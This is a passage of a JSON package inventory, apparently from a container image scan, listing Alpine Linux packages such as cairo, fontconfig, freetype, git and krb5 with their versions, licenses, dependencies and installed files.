"usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt", "usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_RSA_Root_CA.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt", "usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates-bundle@20250911-r0", "Name": "ca-certificates-bundle", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates-bundle@20250911-r0?arch=x86_64\u0026distro=3.21.5", "UID": "bd747ea9500caca2" }, "Version": "20250911-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20250911-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:2c8ae30112c2bcd07e1a9d44f0ff64a7286cdabc", "InstalledFiles": [ "etc/ssl/cert.pem", "etc/ssl/certs/ca-certificates.crt", "etc/ssl1.1/cert.pem", "etc/ssl1.1/certs" ], "AnalyzedBy": "apk" }, { "ID": "cairo@1.18.4-r0", "Name": "cairo", "Identifier": { "PURL": "pkg:apk/alpine/cairo@1.18.4-r0?arch=x86_64\u0026distro=3.21.5", "UID": "e4e377a24acf72c0" }, "Version": "1.18.4-r0", "Arch": "x86_64", "SrcName": "cairo", "SrcVersion": "1.18.4-r0", "Licenses": [ "LGPL-2.1-or-later", "MPL-1.1" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "fontconfig@2.15.0-r1", "freetype@2.13.3-r0", "libpng@1.6.53-r0", "libx11@1.8.10-r0", "libxcb@1.16.1-r0", "libxext@1.3.6-r2", "libxrender@0.9.11-r5", "musl@1.2.5-r9", "pixman@0.43.4-r1", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:cb5ebaef3c1a944cf701c6540c2459a22e47f79a", "InstalledFiles": [ "usr/lib/libcairo-script-interpreter.so.2", "usr/lib/libcairo-script-interpreter.so.2.11804.4", "usr/lib/libcairo.so.2", "usr/lib/libcairo.so.2.11804.4", "usr/lib/cairo/libcairo-fdr.so" ], "AnalyzedBy": "apk" }, { "ID": "fontconfig@2.15.0-r1", "Name": "fontconfig", "Identifier": { "PURL": "pkg:apk/alpine/fontconfig@2.15.0-r1?arch=x86_64\u0026distro=3.21.5", "UID": "2339304a7cc5418d" }, "Version": "2.15.0-r1", "Arch": "x86_64", "SrcName": "fontconfig", "SrcVersion": "2.15.0-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r14", "freetype@2.13.3-r0", "libexpat@2.7.3-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:64ba0e84f021aee541366454cc89a917470f8803", "InstalledFiles": [ "etc/fonts/fonts.conf", "etc/fonts/conf.d/10-hinting-slight.conf", "etc/fonts/conf.d/10-scale-bitmap-fonts.conf", "etc/fonts/conf.d/10-sub-pixel-none.conf", "etc/fonts/conf.d/10-yes-antialias.conf", "etc/fonts/conf.d/11-lcdfilter-default.conf", "etc/fonts/conf.d/20-unhint-small-vera.conf", "etc/fonts/conf.d/30-metric-aliases.conf", "etc/fonts/conf.d/40-nonlatin.conf", "etc/fonts/conf.d/45-generic.conf", "etc/fonts/conf.d/45-latin.conf", "etc/fonts/conf.d/48-spacing.conf", "etc/fonts/conf.d/49-sansserif.conf", "etc/fonts/conf.d/50-user.conf", "etc/fonts/conf.d/51-local.conf", "etc/fonts/conf.d/60-generic.conf", "etc/fonts/conf.d/60-latin.conf", "etc/fonts/conf.d/65-fonts-persian.conf", "etc/fonts/conf.d/65-nonlatin.conf", "etc/fonts/conf.d/69-unifont.conf", "etc/fonts/conf.d/80-delicious.conf", "etc/fonts/conf.d/90-synthetic.conf", "etc/fonts/conf.d/README", "usr/bin/fc-cache", "usr/bin/fc-cat", "usr/bin/fc-conflist", "usr/bin/fc-list", "usr/bin/fc-match", "usr/bin/fc-pattern", "usr/bin/fc-query", "usr/bin/fc-scan", "usr/bin/fc-validate", "usr/lib/libfontconfig.so.1", "usr/lib/libfontconfig.so.1.12.1", "usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", "usr/share/fontconfig/conf.avail/09-autohint-if-no-hinting.conf", "usr/share/fontconfig/conf.avail/10-autohint.conf", "usr/share/fontconfig/conf.avail/10-hinting-full.conf", "usr/share/fontconfig/conf.avail/10-hinting-medium.conf", "usr/share/fontconfig/conf.avail/10-hinting-none.conf", "usr/share/fontconfig/conf.avail/10-hinting-slight.conf", "usr/share/fontconfig/conf.avail/10-no-antialias.conf", "usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-none.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf", "usr/share/fontconfig/conf.avail/10-unhinted.conf", "usr/share/fontconfig/conf.avail/10-yes-antialias.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-none.conf", "usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf", "usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf", "usr/share/fontconfig/conf.avail/30-metric-aliases.conf", "usr/share/fontconfig/conf.avail/35-lang-normalize.conf", "usr/share/fontconfig/conf.avail/40-nonlatin.conf", "usr/share/fontconfig/conf.avail/45-generic.conf", "usr/share/fontconfig/conf.avail/45-latin.conf", "usr/share/fontconfig/conf.avail/48-spacing.conf", "usr/share/fontconfig/conf.avail/49-sansserif.conf", "usr/share/fontconfig/conf.avail/50-user.conf", "usr/share/fontconfig/conf.avail/51-local.conf", "usr/share/fontconfig/conf.avail/60-generic.conf", "usr/share/fontconfig/conf.avail/60-latin.conf", "usr/share/fontconfig/conf.avail/65-fonts-persian.conf", "usr/share/fontconfig/conf.avail/65-khmer.conf", "usr/share/fontconfig/conf.avail/65-nonlatin.conf", "usr/share/fontconfig/conf.avail/69-unifont.conf", "usr/share/fontconfig/conf.avail/70-no-bitmaps.conf", "usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf", "usr/share/fontconfig/conf.avail/80-delicious.conf", "usr/share/fontconfig/conf.avail/90-synthetic.conf", "usr/share/xml/fontconfig/fonts.dtd" ], "AnalyzedBy": "apk" }, { "ID": "freetype@2.13.3-r0", "Name": "freetype", "Identifier": { "PURL": "pkg:apk/alpine/freetype@2.13.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "b821aaeffbd0dc5f" }, "Version": "2.13.3-r0", "Arch": "x86_64", "SrcName": "freetype", "SrcVersion": "2.13.3-r0", "Licenses": [ "FTL", "GPL-2.0-or-later" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "brotli-libs@1.1.0-r2", "libbz2@1.0.8-r6", "libpng@1.6.53-r0", "musl@1.2.5-r9", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:c5175375de6d7561d9599525738b8f19c6f0c67f", "InstalledFiles": [ "usr/lib/libfreetype.so.6", "usr/lib/libfreetype.so.6.20.2" ], "AnalyzedBy": "apk" }, { "ID": "freetype-dev@2.13.3-r0", "Name": "freetype-dev", "Identifier": { "PURL": "pkg:apk/alpine/freetype-dev@2.13.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a174e6d00dd7acf1" }, "Version": "2.13.3-r0", "Arch": "x86_64", "SrcName": "freetype", "SrcVersion": "2.13.3-r0", "Licenses": [ "FTL", "GPL-2.0-or-later" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "brotli-dev@1.1.0-r2", "bzip2-dev@1.0.8-r6", "freetype@2.13.3-r0", "libpng-dev@1.6.53-r0", "pkgconf@2.3.0-r0", "zlib-dev@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:1a09a2ba3741eb8df33f3c432c2de07707fb4f4e", "InstalledFiles": [ "usr/include/freetype2/ft2build.h", "usr/include/freetype2/freetype/freetype.h", "usr/include/freetype2/freetype/ftadvanc.h", "usr/include/freetype2/freetype/ftbbox.h", "usr/include/freetype2/freetype/ftbdf.h", "usr/include/freetype2/freetype/ftbitmap.h", "usr/include/freetype2/freetype/ftbzip2.h", "usr/include/freetype2/freetype/ftcache.h", "usr/include/freetype2/freetype/ftchapters.h", "usr/include/freetype2/freetype/ftcid.h", "usr/include/freetype2/freetype/ftcolor.h", "usr/include/freetype2/freetype/ftdriver.h", "usr/include/freetype2/freetype/fterrdef.h", "usr/include/freetype2/freetype/fterrors.h", "usr/include/freetype2/freetype/ftfntfmt.h", "usr/include/freetype2/freetype/ftgasp.h", "usr/include/freetype2/freetype/ftglyph.h", "usr/include/freetype2/freetype/ftgxval.h", "usr/include/freetype2/freetype/ftgzip.h", "usr/include/freetype2/freetype/ftimage.h", "usr/include/freetype2/freetype/ftincrem.h", "usr/include/freetype2/freetype/ftlcdfil.h", "usr/include/freetype2/freetype/ftlist.h", "usr/include/freetype2/freetype/ftlzw.h", "usr/include/freetype2/freetype/ftmac.h", "usr/include/freetype2/freetype/ftmm.h", "usr/include/freetype2/freetype/ftmodapi.h", "usr/include/freetype2/freetype/ftmoderr.h", "usr/include/freetype2/freetype/ftotval.h", "usr/include/freetype2/freetype/ftoutln.h", "usr/include/freetype2/freetype/ftparams.h", "usr/include/freetype2/freetype/ftpfr.h", "usr/include/freetype2/freetype/ftrender.h", "usr/include/freetype2/freetype/ftsizes.h", "usr/include/freetype2/freetype/ftsnames.h", "usr/include/freetype2/freetype/ftstroke.h", "usr/include/freetype2/freetype/ftsynth.h", "usr/include/freetype2/freetype/ftsystem.h", "usr/include/freetype2/freetype/fttrigon.h", "usr/include/freetype2/freetype/fttypes.h", "usr/include/freetype2/freetype/ftwinfnt.h", "usr/include/freetype2/freetype/otsvg.h", "usr/include/freetype2/freetype/t1tables.h", "usr/include/freetype2/freetype/ttnameid.h", "usr/include/freetype2/freetype/tttables.h", "usr/include/freetype2/freetype/tttags.h", "usr/include/freetype2/freetype/config/ftconfig.h", "usr/include/freetype2/freetype/config/ftheader.h", "usr/include/freetype2/freetype/config/ftmodule.h", "usr/include/freetype2/freetype/config/ftoption.h", "usr/include/freetype2/freetype/config/ftstdlib.h", "usr/include/freetype2/freetype/config/integer-types.h", "usr/include/freetype2/freetype/config/mac-support.h", "usr/include/freetype2/freetype/config/public-macros.h", "usr/lib/libfreetype.so", "usr/lib/pkgconfig/freetype2.pc", "usr/share/aclocal/freetype2.m4" ], "AnalyzedBy": "apk" }, { "ID": "gdbm@1.24-r0", "Name": "gdbm", "Identifier": { "PURL": "pkg:apk/alpine/gdbm@1.24-r0?arch=x86_64\u0026distro=3.21.5", "UID": "16187e1189640a5f" }, "Version": "1.24-r0", "Arch": "x86_64", "SrcName": "gdbm", "SrcVersion": "1.24-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:06876a4fe8da5ca1e5930daa08aaf90629c35074", "InstalledFiles": [ "usr/lib/libgdbm.so.6", "usr/lib/libgdbm.so.6.0.0", "usr/lib/libgdbm_compat.so.4", "usr/lib/libgdbm_compat.so.4.0.0" ], "AnalyzedBy": "apk" }, { "ID": "git@2.47.3-r0", "Name": "git", "Identifier": { "PURL": "pkg:apk/alpine/git@2.47.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "28e4762a2a2b6e69" }, "Version": "2.47.3-r0", "Arch": "x86_64", "SrcName": "git", "SrcVersion": "2.47.3-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcurl@8.14.1-r2", "libexpat@2.7.3-r0", "musl@1.2.5-r9", "pcre2@10.43-r0", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:686a36c309955172b95392f5b8ab82b58f7619eb", "InstalledFiles": [ "usr/bin/git", "usr/bin/git-receive-pack", "usr/bin/git-shell", "usr/bin/git-upload-archive", "usr/bin/git-upload-pack", "usr/libexec/git-core/git", "usr/libexec/git-core/git-add", "usr/libexec/git-core/git-am", "usr/libexec/git-core/git-annotate", "usr/libexec/git-core/git-apply", "usr/libexec/git-core/git-archive", "usr/libexec/git-core/git-bisect", "usr/libexec/git-core/git-blame", "usr/libexec/git-core/git-branch", "usr/libexec/git-core/git-bugreport", "usr/libexec/git-core/git-bundle", "usr/libexec/git-core/git-cat-file", "usr/libexec/git-core/git-check-attr", "usr/libexec/git-core/git-check-ignore", "usr/libexec/git-core/git-check-mailmap", "usr/libexec/git-core/git-check-ref-format", "usr/libexec/git-core/git-checkout", "usr/libexec/git-core/git-checkout--worker", "usr/libexec/git-core/git-checkout-index", "usr/libexec/git-core/git-cherry", "usr/libexec/git-core/git-cherry-pick", "usr/libexec/git-core/git-clean", "usr/libexec/git-core/git-clone", "usr/libexec/git-core/git-column", "usr/libexec/git-core/git-commit", "usr/libexec/git-core/git-commit-graph", "usr/libexec/git-core/git-commit-tree", "usr/libexec/git-core/git-config", "usr/libexec/git-core/git-count-objects", "usr/libexec/git-core/git-credential", "usr/libexec/git-core/git-credential-cache", "usr/libexec/git-core/git-credential-cache--daemon", "usr/libexec/git-core/git-credential-store", "usr/libexec/git-core/git-describe", "usr/libexec/git-core/git-diagnose", "usr/libexec/git-core/git-diff", "usr/libexec/git-core/git-diff-files", "usr/libexec/git-core/git-diff-index", "usr/libexec/git-core/git-diff-tree", "usr/libexec/git-core/git-difftool", "usr/libexec/git-core/git-difftool--helper", "usr/libexec/git-core/git-fast-export", "usr/libexec/git-core/git-fetch", "usr/libexec/git-core/git-fetch-pack", "usr/libexec/git-core/git-filter-branch", "usr/libexec/git-core/git-fmt-merge-msg", "usr/libexec/git-core/git-for-each-ref", "usr/libexec/git-core/git-for-each-repo", "usr/libexec/git-core/git-format-patch", "usr/libexec/git-core/git-fsck", "usr/libexec/git-core/git-fsck-objects", "usr/libexec/git-core/git-fsmonitor--daemon", "usr/libexec/git-core/git-gc", "usr/libexec/git-core/git-get-tar-commit-id", "usr/libexec/git-core/git-grep", "usr/libexec/git-core/git-hash-object", "usr/libexec/git-core/git-help", "usr/libexec/git-core/git-hook", "usr/libexec/git-core/git-http-fetch", "usr/libexec/git-core/git-http-push", "usr/libexec/git-core/git-index-pack", "usr/libexec/git-core/git-init", "usr/libexec/git-core/git-init-db", "usr/libexec/git-core/git-interpret-trailers", "usr/libexec/git-core/git-log", "usr/libexec/git-core/git-ls-files", "usr/libexec/git-core/git-ls-remote", "usr/libexec/git-core/git-ls-tree", "usr/libexec/git-core/git-mailinfo", "usr/libexec/git-core/git-mailsplit", "usr/libexec/git-core/git-maintenance", "usr/libexec/git-core/git-merge", "usr/libexec/git-core/git-merge-base", "usr/libexec/git-core/git-merge-file", "usr/libexec/git-core/git-merge-index", "usr/libexec/git-core/git-merge-octopus", "usr/libexec/git-core/git-merge-one-file", "usr/libexec/git-core/git-merge-ours", "usr/libexec/git-core/git-merge-recursive", "usr/libexec/git-core/git-merge-resolve", "usr/libexec/git-core/git-merge-subtree", "usr/libexec/git-core/git-merge-tree", "usr/libexec/git-core/git-mergetool", "usr/libexec/git-core/git-mergetool--lib", "usr/libexec/git-core/git-mktag", "usr/libexec/git-core/git-mktree", "usr/libexec/git-core/git-multi-pack-index", "usr/libexec/git-core/git-mv", "usr/libexec/git-core/git-name-rev", "usr/libexec/git-core/git-notes", "usr/libexec/git-core/git-pack-objects", "usr/libexec/git-core/git-pack-redundant", "usr/libexec/git-core/git-pack-refs", "usr/libexec/git-core/git-patch-id", "usr/libexec/git-core/git-prune", "usr/libexec/git-core/git-prune-packed", "usr/libexec/git-core/git-pull", "usr/libexec/git-core/git-push", "usr/libexec/git-core/git-quiltimport", "usr/libexec/git-core/git-range-diff", "usr/libexec/git-core/git-read-tree", "usr/libexec/git-core/git-rebase", "usr/libexec/git-core/git-receive-pack", "usr/libexec/git-core/git-reflog", "usr/libexec/git-core/git-refs", "usr/libexec/git-core/git-remote", "usr/libexec/git-core/git-remote-ext", "usr/libexec/git-core/git-remote-fd", "usr/libexec/git-core/git-remote-ftp", "usr/libexec/git-core/git-remote-ftps", "usr/libexec/git-core/git-remote-http", "usr/libexec/git-core/git-remote-https", "usr/libexec/git-core/git-repack", "usr/libexec/git-core/git-replace", "usr/libexec/git-core/git-replay", "usr/libexec/git-core/git-request-pull", "usr/libexec/git-core/git-rerere", "usr/libexec/git-core/git-reset", "usr/libexec/git-core/git-restore", "usr/libexec/git-core/git-rev-list", "usr/libexec/git-core/git-rev-parse", "usr/libexec/git-core/git-revert", "usr/libexec/git-core/git-rm", "usr/libexec/git-core/git-send-pack", "usr/libexec/git-core/git-sh-i18n", "usr/libexec/git-core/git-sh-i18n--envsubst", "usr/libexec/git-core/git-sh-setup", "usr/libexec/git-core/git-shortlog", "usr/libexec/git-core/git-show", "usr/libexec/git-core/git-show-branch", "usr/libexec/git-core/git-show-index", "usr/libexec/git-core/git-show-ref", "usr/libexec/git-core/git-sparse-checkout", "usr/libexec/git-core/git-stage", "usr/libexec/git-core/git-stash", "usr/libexec/git-core/git-status", "usr/libexec/git-core/git-stripspace", "usr/libexec/git-core/git-submodule", "usr/libexec/git-core/git-submodule--helper", "usr/libexec/git-core/git-switch", "usr/libexec/git-core/git-symbolic-ref", "usr/libexec/git-core/git-tag", "usr/libexec/git-core/git-unpack-file", "usr/libexec/git-core/git-unpack-objects", "usr/libexec/git-core/git-update-index", "usr/libexec/git-core/git-update-ref", "usr/libexec/git-core/git-update-server-info", "usr/libexec/git-core/git-upload-archive", "usr/libexec/git-core/git-upload-pack", "usr/libexec/git-core/git-var", "usr/libexec/git-core/git-verify-commit", "usr/libexec/git-core/git-verify-pack", "usr/libexec/git-core/git-verify-tag", "usr/libexec/git-core/git-version", "usr/libexec/git-core/git-web--browse", "usr/libexec/git-core/git-whatchanged", "usr/libexec/git-core/git-worktree", "usr/libexec/git-core/git-write-tree", "usr/libexec/git-core/mergetools/araxis", "usr/libexec/git-core/mergetools/bc", "usr/libexec/git-core/mergetools/codecompare", "usr/libexec/git-core/mergetools/deltawalker", "usr/libexec/git-core/mergetools/diffmerge", "usr/libexec/git-core/mergetools/diffuse", "usr/libexec/git-core/mergetools/ecmerge", "usr/libexec/git-core/mergetools/emerge", "usr/libexec/git-core/mergetools/examdiff", "usr/libexec/git-core/mergetools/guiffy", "usr/libexec/git-core/mergetools/gvimdiff", "usr/libexec/git-core/mergetools/kdiff3", "usr/libexec/git-core/mergetools/kompare", "usr/libexec/git-core/mergetools/meld", "usr/libexec/git-core/mergetools/nvimdiff", "usr/libexec/git-core/mergetools/opendiff", "usr/libexec/git-core/mergetools/smerge", "usr/libexec/git-core/mergetools/tkdiff", "usr/libexec/git-core/mergetools/tortoisemerge", "usr/libexec/git-core/mergetools/vimdiff", "usr/libexec/git-core/mergetools/vscode", "usr/libexec/git-core/mergetools/winmerge", "usr/libexec/git-core/mergetools/xxdiff" ], "AnalyzedBy": "apk" }, { "ID": "git-fast-import@2.47.3-r0", "Name": "git-fast-import", "Identifier": { "PURL": "pkg:apk/alpine/git-fast-import@2.47.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "7aba37b865a7dd7" }, "Version": "2.47.3-r0", "Arch": "x86_64", "SrcName": "git", "SrcVersion": "2.47.3-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "git@2.47.3-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:dc09340d8fc8622c4d7def8bf44b05ebed73ad15", "InstalledFiles": [ "usr/libexec/git-core/git-fast-import" ], "AnalyzedBy": "apk" }, { "ID": "git-init-template@2.47.3-r0", "Name": "git-init-template", "Identifier": { "PURL": "pkg:apk/alpine/git-init-template@2.47.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "92b1f548ef810ac5" }, "Version": "2.47.3-r0", "Arch": "x86_64", "SrcName": "git", "SrcVersion": "2.47.3-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:1a8b01d223b1da3d96a4794dd9f7e7eb94b73839", "InstalledFiles": [ "usr/share/git-core/templates/description", "usr/share/git-core/templates/hooks/applypatch-msg.sample", "usr/share/git-core/templates/hooks/commit-msg.sample", "usr/share/git-core/templates/hooks/post-update.sample", "usr/share/git-core/templates/hooks/pre-applypatch.sample", "usr/share/git-core/templates/hooks/pre-commit.sample", "usr/share/git-core/templates/hooks/pre-merge-commit.sample", "usr/share/git-core/templates/hooks/pre-push.sample", "usr/share/git-core/templates/hooks/pre-rebase.sample", "usr/share/git-core/templates/hooks/pre-receive.sample", "usr/share/git-core/templates/hooks/prepare-commit-msg.sample", "usr/share/git-core/templates/hooks/push-to-checkout.sample", "usr/share/git-core/templates/hooks/sendemail-validate.sample", "usr/share/git-core/templates/hooks/update.sample", "usr/share/git-core/templates/info/exclude" ], "AnalyzedBy": "apk" }, { "ID": "jpeg-dev@9f-r0", "Name": "jpeg-dev", "Identifier": { "PURL": "pkg:apk/alpine/jpeg-dev@9f-r0?arch=x86_64\u0026distro=3.21.5", "UID": "2cc51cc0af09a13d" }, "Version": "9f-r0", "Arch": "x86_64", "SrcName": "jpeg", "SrcVersion": "9f-r0", "Licenses": [ "Public", "Domain" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libjpeg-turbo-dev@3.0.4-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:3c5feb3a99c1e9d080bbed4b2bd7c38bbc54b0a1", "AnalyzedBy": "apk" }, { "ID": "keyutils-libs@1.6.3-r4", "Name": "keyutils-libs", "Identifier": { "PURL": "pkg:apk/alpine/keyutils-libs@1.6.3-r4?arch=x86_64\u0026distro=3.21.5", "UID": "5818e21637d6b797" }, "Version": "1.6.3-r4", "Arch": "x86_64", "SrcName": "keyutils", "SrcVersion": "1.6.3-r4", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:128ea507e8ce17fd70c5ec18f8581633dac01a66", "InstalledFiles": [ "usr/lib/libkeyutils.so.1", "usr/lib/libkeyutils.so.1.10" ], "AnalyzedBy": "apk" }, { "ID": "krb5-conf@1.0-r2", "Name": "krb5-conf", "Identifier": { "PURL": "pkg:apk/alpine/krb5-conf@1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "9273a2b8d3ad3c52" }, "Version": "1.0-r2", "Arch": "x86_64", "SrcName": "krb5-conf", "SrcVersion": "1.0-r2", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:bd3748a2e1d04eaea8668277f2540249decf38b0", "InstalledFiles": [ "etc/krb5.conf" ], "AnalyzedBy": "apk" }, { "ID": "krb5-libs@1.21.3-r0", "Name": "krb5-libs", "Identifier": { "PURL": "pkg:apk/alpine/krb5-libs@1.21.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4453bf7797342d0d" }, "Version": "1.21.3-r0", "Arch": "x86_64", "SrcName": "krb5", "SrcVersion": "1.21.3-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "keyutils-libs@1.6.3-r4", "krb5-conf@1.0-r2", "libcom_err@1.47.1-r1", "libcrypto3@3.3.5-r0", "libssl3@3.3.5-r0", "libverto@0.3.2-r2", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:8da452f1ff426ddb0c8d6f62ad3f0201980d20fe", "InstalledFiles": [ "usr/lib/libgssapi_krb5.so.2", "usr/lib/libgssapi_krb5.so.2.2", "usr/lib/libgssrpc.so.4", "usr/lib/libgssrpc.so.4.2", "usr/lib/libk5crypto.so.3", "usr/lib/libk5crypto.so.3.1", "usr/lib/libkadm5clnt_mit.so.12", "usr/lib/libkadm5clnt_mit.so.12.0", "usr/lib/libkadm5srv_mit.so.12", "usr/lib/libkadm5srv_mit.so.12.0", "usr/lib/libkdb5.so.10", "usr/lib/libkdb5.so.10.0", "usr/lib/libkrad.so.0", "usr/lib/libkrad.so.0.0", "usr/lib/libkrb5.so.3", "usr/lib/libkrb5.so.3.3", "usr/lib/libkrb5support.so.0", "usr/lib/libkrb5support.so.0.1", "usr/lib/krb5/plugins/kdb/db2.so", "usr/lib/krb5/plugins/preauth/otp.so", "usr/lib/krb5/plugins/preauth/spake.so", "usr/lib/krb5/plugins/preauth/test.so", "usr/lib/krb5/plugins/tls/k5tls.so" ], "AnalyzedBy": "apk" }, { "ID": "lcms2@2.16-r0", "Name": "lcms2", "Identifier": { "PURL": "pkg:apk/alpine/lcms2@2.16-r0?arch=x86_64\u0026distro=3.21.5", "UID": "cba203d6d5c7ba7c" }, "Version": "2.16-r0", "Arch": "x86_64", "SrcName": "lcms2", "SrcVersion": "2.16-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:679d38adfe55f9d82e5c65bdbfd7fb952ffd994d", "InstalledFiles": [ "usr/lib/liblcms2.so.2", "usr/lib/liblcms2.so.2.0.16" ], "AnalyzedBy": "apk" }, { "ID": "libbsd@0.12.2-r0", "Name": "libbsd", "Identifier": { "PURL": "pkg:apk/alpine/libbsd@0.12.2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "581a570b71de5d75" }, "Version": "0.12.2-r0", "Arch": "x86_64", "SrcName": "libbsd", "SrcVersion": "0.12.2-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libmd@1.1.0-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": 